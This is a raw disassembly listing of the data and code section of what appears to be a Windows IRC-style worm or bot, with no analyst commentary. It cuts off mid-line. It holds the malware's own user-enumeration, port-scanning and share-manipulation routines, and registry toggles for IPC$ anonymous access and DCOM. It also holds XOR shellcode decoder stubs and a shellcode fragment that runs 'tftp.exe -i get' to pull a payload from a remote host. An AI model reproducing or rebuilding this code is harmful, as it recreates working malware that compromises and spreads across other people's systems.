dword_436E44 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4134E1+94o dd 2029206Ch, 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_436E84 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4134E1+6Do dd 2029206Ch, 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_436EB8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413627+394o dd 2029206Ch, 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 10h aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_413627+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_413627+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_413627+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_413627+2ECo align 10h aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_413627+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_413627+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_413627+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_413627+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_413627+21Eo align 10h aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_413627+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_413627+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_413627+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_413627+178o align 10h aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_413627+14Do align 10h aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_413627+125o aGuest db 'Guest',0 ; DATA XREF: sub_413627:loc_413740o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_413627:loc_413739o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_413627+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_413627+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_413627+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_413627+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4139F5+14Fo align 4 dword_437078 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4139F5+F7o dd 2029206Ch, 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 4 aS_5 db ' %S',0 ; DATA XREF: sub_4139F5+BEo align 10h dword_4370C0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4139F5+7Ao dd 2029206Ch, 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4139F5+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_413B75:loc_413C92o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_413B75:loc_413C8Bo align 10h aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_413B75:loc_413C84o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_413B75:loc_413C7Do align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_413B75:loc_413C76o align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_413B75:loc_413C59o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_413B75:loc_413C52o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_413B75:loc_413C4Bo align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_413B75+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_413B75:loc_413C20o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B75:loc_413C19o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_413B75:loc_413C12o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B75:loc_413C08o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_413B75+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_413B75:loc_413BE2o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_413B75:loc_413BD8o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_413B75:loc_413BCEo align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_413B75:loc_413BC4o align 10h aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_413B75:loc_413BBAo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_413B75+3Bo align 4 dword_4373DC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413CA9+ABo dd 2029206Ch, 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_437418 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413CA9+81o dd 2029206Ch, 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413DD2+120o align 10h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DD2+5Ao ; sub_413DD2+19Eo align 4 dword_437474 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413F83:loc_41400Ao dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListFai db ' Process list failed.',0 align 4 dword_4374AC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413F83+80o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListCom db ' Process list completed.',0 align 4 dword_4374E8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413F83+19o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h dd 72702067h, 7365636Fh, 3A736573h, 0 aConst db 'const',0 align 4 dd 0 dword_43752C dd 1 off_437530 dd offset sub_4140C8 ; DATA XREF: sub_414433+49r aLetter db 'letter',0 align 10h dd 2, 414126h, 706D6F63h, 2 dup(0) dd 3, 414173h, 6E756F63h, 797274h, 0 dd 4, 414211h, 736Fh, 2 dup(0) dd 5, 414286h dword_437584 dd 69257325h, 0 ; .nsp0:004141F2o ... byte_43758C db 50h ; DATA XREF: .nsp0:00414195o ; .nsp0:004141A2r db 43h, 2 dup(0) dword_437590 dd 7C7325h ; sub_414433+39o dword_437594 dd 5D73255Bh, 7Chdword_43759C dd 334B32h dword_4375A0 dd 5D64255Bh, 7325hdword_4375A8 dd 5D4D5Bh ; sub_414390+57o unk_4375AC db 2 ; DATA XREF: sub_41449C+92o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 unk_4375E8 db 2 ; DATA XREF: sub_414569+41o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 4 off_437628 dd offset dword_437660 ; DATA XREF: sub_4146BA+1B3o ; sub_4149DE+17Ao align 10h dd offset dword_437658 align 8 off_437638 dd offset dword_437654 ; DATA XREF: sub_4149DE+1E3o dd offset dword_437650 dd offset dword_43764C dd offset dword_437648 dword_437648 dd 5C3A44h ; .nsp0:00437644o dword_43764C dd 2444h dword_437650 dd 5C3A43h dword_437654 dd 2443h dword_437658 dd 494D4441h, 244Ehdword_437660 dd 24435049h, 0 unk_437668 db 2 ; DATA XREF: sub_4146BA+2E5o ; sub_4149DE+2D8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_4376AC db 2 ; DATA XREF: sub_4146BA+2CFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_4376E8 db 2 ; DATA XREF: sub_4146BA:loc_41491Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_437728 db 2 ; DATA XREF: sub_4146BA+25Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 10h unk_437760 db 2 ; DATA XREF: sub_4146BA:loc_414889o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 10h unk_4377A0 db 2 ; DATA XREF: sub_4146BA+1C8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_4377D8 db 2 ; DATA XREF: sub_4146BA:loc_4147ECo ; sub_4149DE:loc_414B0Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_43781C db 2 ; DATA XREF: sub_4146BA:loc_4147E5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_43786C db 2 ; DATA XREF: sub_4146BA:loc_4147C7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_4378B4 db 2 ; DATA XREF: sub_4146BA+106o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_4146BA+EDo ; sub_4149DE+EDo align 4 unk_437918 db 2 ; DATA XREF: sub_4146BA+91o ; sub_4149DE+91o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_43795C dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_4146BA:loc_414727o dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh dd 6C626173h, 2E6465h unk_43798C db 2 ; DATA XREF: sub_4146BA+66o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_4146BA+54o ; sub_4149DE+54o align 10h word_4379D0 dw 4Eh ; DATA XREF: sub_4146BA+38r align 4 unk_4379D4 db 2 ; DATA XREF: sub_4149DE+2C0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_2 db '%c:\',0 ; DATA XREF: sub_4149DE+22Ao align 4 aC_3 db '%c$',0 ; DATA XREF: sub_4149DE+219o unk_437A18 db 2 ; DATA XREF: sub_4149DE:loc_414B7Do ; sub_4149DE:loc_414C4Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 4 unk_437A54 db 2 ; DATA XREF: sub_4149DE+198o ; sub_4149DE+266o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 4 unk_437A88 db 2 ; DATA XREF: sub_4149DE:loc_414B05o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_437AD8 db 2 ; DATA XREF: sub_4149DE:loc_414AE7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_437B20 db 2 ; DATA XREF: sub_4149DE+102o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_437B70 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_4149DE:loc_414A4Bo dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh dd 656C6261h, 2E64h unk_437BA0 db 2 ; DATA XREF: sub_4149DE+66o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_437BD8 dw 59h ; DATA XREF: sub_4149DE+38r align 4 loc_437BDC: ; DATA XREF: sub_414E8C+C4o jmp short loc_437BE0 ; --------------------------------------------------------------------------- loc_437BDE: ; CODE XREF: .nsp0:loc_437BE0p jmp short loc_437BE5 ; --------------------------------------------------------------------------- loc_437BE0: ; CODE XREF: .nsp0:loc_437BDCj call loc_437BDE loc_437BE5: ; CODE XREF: .nsp0:loc_437BDEj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_437BEA dw 0FFFFh ; DATA XREF: sub_414E8C+CCw db 80h, 73h, 0Eh byte_437BEF db 0FFh ; DATA XREF: sub_414E8C+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_437BF4: ; DATA XREF: sub_414E8C+A2o jmp short loc_437BF8 ; --------------------------------------------------------------------------- loc_437BF6: ; CODE XREF: .nsp0:loc_437BF8p jmp short loc_437BFD ; --------------------------------------------------------------------------- loc_437BF8: ; CODE XREF: .nsp0:loc_437BF4j call loc_437BF6 loc_437BFD: ; CODE XREF: .nsp0:loc_437BF6j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_437C01 db 0FFh ; DATA XREF: sub_414E8C+AAw dw 7380h db 0Ch byte_437C05 db 0FFh ; DATA XREF: sub_414E8C+B0w dw 0E243h dd 0F9h dword_437C0C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_414D15+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_437C70 dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_414D15+79o aJ_0 db 'j',0 db 0E8h dword_437C89 dd 17h ; --------------------------------------------------------------------------- jnz short near ptr byte_437C90 retn ; --------------------------------------------------------------------------- byte_437C90 db 0E8h ; CODE XREF: .nsp0:00437C8Dj dword_437C91 dd 1 byte_437C95 db 0, 6Ah, 0 ; DATA XREF: sub_414D15+C2o dd 7E8h db 0, 0Fh, 84h dword_437C9F dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_415050+10o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_415221+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415221+35o dword_437D20 dd 0BB07D2h align 10h dword_437D30 dd 173Fh dd 9875h, 9873h off_437D3C dd offset sub_415F3B ; DATA XREF: sub_4177FAr dd offset nullsub_2 dd offset nullsub_2 dword_437D48 dd 1B3Fh dword_437D4C dd 19930520h, 4 dup(0) ; sub_41643E+2o off_437D60 dd offset sub_417838 ; DATA XREF: sub_417BEE+1Cr dword_437D64 dd 2 ; sub_41CF19+46r ... off_437D68 dd offset aNull_0 ; DATA XREF: sub_417D4C:loc_4180B0r ; sub_417D4C+457r ; "(null)" off_437D6C dd offset aNull ; DATA XREF: sub_417D4C+259r ; "(null)" off_437D70 dd offset word_437D7A ; DATA XREF: sub_4159D4+23r ; sub_4159D4:loc_415A35r ... dd offset word_437D7A db 2 dup(0) word_437D7A dw 20h ; DATA XREF: sub_41E6BD+18r ; .nsp0:off_437D70o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_437F7C dd 1 ; sub_4159D4:loc_415A20r ... byte_437F80 db 2Eh ; DATA XREF: sub_419F18:loc_419F58r ; sub_419F72+4r ... align 4 dd 1, 10h dword_437F8C dd 3F8h ; sub_4174DF+4Dr ... dword_437F90 dd 14h off_437F94 dd offset aExp ; DATA XREF: sub_419C61:loc_419C7Er ; "exp" dd 1Dh, 4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h dd 13h, 421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h dd 0Fh, 421768h, 10h, 421760h, 5, 421758h, 1Eh, 421754h dd 12h, 421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch dd 15h, 421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch dd 18h, 421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h dd 23h, 4216FCh, 24h, 4216F8h dbl_438068 dq 1.797693134862316e308 ; DATA XREF: sub_41999C+B7r ; sub_41999C:loc_419A83r ... dd 0 dd 0FFF80000h dbl_438078 dq 1.797693134862316e308 ; DATA XREF: sub_41999C+92r ; sub_41999C:loc_419A5Br ... dd 0 dd 100000h, 0 dd 80000000h tbyte_438090 dt 2.3562723457267347066e313 ; DATA XREF: sub_419E49+Dr ; sub_419E49+1Fr align 4 tbyte_43809C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E49+31r align 4 off_4380A8 dd offset sub_41A2DD ; DATA XREF: sub_415F53+Fw ; sub_417D4C+3AAr off_4380AC dd offset sub_419F72 ; DATA XREF: sub_415F53+5w ; sub_417D4C+3E2r off_4380B0 dd offset sub_419FD8 ; DATA XREF: sub_415F53+14w ; sub_41AD3D+430r off_4380B4 dd offset sub_419F18 ; DATA XREF: sub_415F53+1Ew ; sub_417D4C+3CBr off_4380B8 dd offset sub_419FC0 ; DATA XREF: sub_415F53+28w off_4380BC dd offset sub_41A2DD ; DATA XREF: sub_415F53+32w dd offset sub_41DF02 align 10h dd offset sub_41AB9C off_4380D4 dd offset sub_41AB9C ; DATA XREF: sub_41ABF2+29r dword_4380D8 dd 0D2D0920h, 5Dhdword_4380E0 dd 5Dh, 0 byte_4380E8 db 1 ; DATA XREF: sub_41BFC0+E1r db 2, 4, 8 align 10h dword_4380F0 dd 3A4h dword_4380F4 dd 82798260h, 21h, 0dword_438100 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4381E0 dd 1 ; sub_41C5D7+Co dword_4381E4 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_438348 dd 0C0000005h ; sub_41C77F+Ar ... dword_43834C dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4383C0 dd 3 ; sub_41F297+C8r dword_4383C4 dd 7 ; sub_41F297+CDr dword_4383C8 dd 0Ah ; sub_41F3C4+4r dword_4383CC dd 8Ch ; sub_41C63E+8Fw ... dword_4383D0 dd 0FFFFFFFFh, 0A00h ; sub_41B8B0:loc_41B931o dword_4383D8 dd 2 ; sub_41CF19+28r off_4383DC dd offset aR6002FloatingP ; DATA XREF: sub_41CF19+FCr ; sub_41CF19+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 421AC4h, 9, 421A98h, 0Ah, 421A74h, 10h, 421A48h dd 11h, 421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h dd 19h, 421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h dd 78h, 4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269FCh dd 0FFh, 421890h off_438468 dd offset dword_4697A0 ; DATA XREF: sub_41CF19+1Bo ; sub_41D0D6+55o align 10h dd offset dword_4697A0 dd 101h dword_438478 dd 0FFFFFFFFh, 0 dd 1000h, 0 dword_438488 dd 3 dup(0) ; sub_4187B6+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_4384A8 dd 3 dup(0) ; sub_4187B6:loc_4187D4o dd 2, 0FFFFFFFFh, 7 dup(0) dword_4384D8 dd 84h dup(0) dword_4386E8 dd 2694h ; sub_419651+46r ... align 10h dword_4386F0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_438708 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_438720 dd 7080h ; sub_41E162+5Ew ... dword_438724 dd 1 ; sub_41E162+8Bw ... dword_438728 dd 0FFFFF1F0h ; sub_41E162+94w ... dword_43872C dd 545350h, 0Fh dup(0)dword_43876C dd 544450h, 0Fh dup(0)off_4387AC dd offset dword_43872C ; DATA XREF: sub_41E162+BAr ; sub_41E162+D9r ... off_4387B0 dd offset dword_43876C ; DATA XREF: sub_41E162+F4r ; sub_41E162+11Br ... align 8 dword_4387B8 dd 0FFFFFFFFh ; sub_41E3C0+1Er ... dword_4387BC dd 0 ; sub_41E56C+BFw dword_4387C0 dd 0 ; sub_41E56C+E0w align 8 dword_4387C8 dd 0FFFFFFFFh ; sub_41E3C0+26r ... dword_4387CC dd 0 ; sub_41E56C+EAw ... dword_4387D0 dd 0 ; sub_41E56C+23r ... dword_4387D4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_438804 dd 16Dh ; sub_41E56C+2Er ... dword_438808 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_438840 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 